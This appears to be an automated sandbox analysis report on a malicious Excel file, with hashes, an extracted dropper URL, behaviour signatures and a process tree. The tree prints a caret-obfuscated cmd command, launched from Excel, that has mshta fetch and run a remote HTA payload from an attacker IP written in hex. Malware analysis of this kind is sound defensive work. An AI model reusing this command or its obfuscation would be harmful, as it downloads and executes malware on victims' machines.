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Analysis

  • max time kernel
    133s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/11/2024, 21:15

General

  • Target

    fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls

  • Size

    114KB

  • MD5

    e6ec6de5a4a7782d12856e095fef6552

  • SHA1

    0c8559da122fe6c1cb38f6f199b5bc85c0694455

  • SHA256

    fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db

  • SHA512

    c3061750de5e0723e16ccfb3c1a0db8f0a59d4d95ab576dd93ad2af0ea5bea61500ced581229d9dcc6a139c1b770fe7bf3184af7b9676014a920ab54cd5054da

  • SSDEEP

    3072:AH+Hyms/k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIixe53lGvFTQ3IzxgdrvxpU0f:e+Hyms/k3hbdlylKsgqopeJBWhZFVE+i

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://92.255.57.195/sec/se4.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4772
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c ms^ht^a ht^t^p:/^/0x^5cf^f^39c^3^/^sec^/^se4.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4500
      • C:\Windows\system32\mshta.exe
        mshta http://0x5cff39c3/sec/se4.html
        3⤵
        • Blocklisted process makes network request
        PID:396

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    2ab7e1e1b58cb6abd6f0a1a3b3642171

    SHA1

    821328848043c286b9ad53990747e2078375e626

    SHA256

    3f87deb7586fcbde69a913a0579cc1a59abcc688d10fc2a4da80b89f912b1ba8

    SHA512

    2449ace1ebfcf194e899538780b93649caeb170ae4924dbfde66f14fac841c829f4de7a1582333e2115bfa1ecec6009c3f551b8e789a3d04785eb0af4c8176be

  • memory/4772-13-0x00007FFA048C0000-0x00007FFA048D0000-memory.dmp

    Filesize

    64KB

  • memory/4772-35-0x00007FFA4720D000-0x00007FFA4720E000-memory.dmp

    Filesize

    4KB

  • memory/4772-2-0x00007FFA071F0000-0x00007FFA07200000-memory.dmp

    Filesize

    64KB

  • memory/4772-4-0x00007FFA071F0000-0x00007FFA07200000-memory.dmp

    Filesize

    64KB

  • memory/4772-5-0x00007FFA071F0000-0x00007FFA07200000-memory.dmp

    Filesize

    64KB

  • memory/4772-6-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-10-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-12-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-11-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-7-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-14-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-0-0x00007FFA4720D000-0x00007FFA4720E000-memory.dmp

    Filesize

    4KB

  • memory/4772-3-0x00007FFA071F0000-0x00007FFA07200000-memory.dmp

    Filesize

    64KB

  • memory/4772-8-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-21-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-16-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-15-0x00007FFA048C0000-0x00007FFA048D0000-memory.dmp

    Filesize

    64KB

  • memory/4772-9-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-17-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-20-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-19-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-22-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-18-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-36-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-37-0x00007FFA47170000-0x00007FFA47365000-memory.dmp

    Filesize

    2.0MB

  • memory/4772-1-0x00007FFA071F0000-0x00007FFA07200000-memory.dmp

    Filesize

    64KB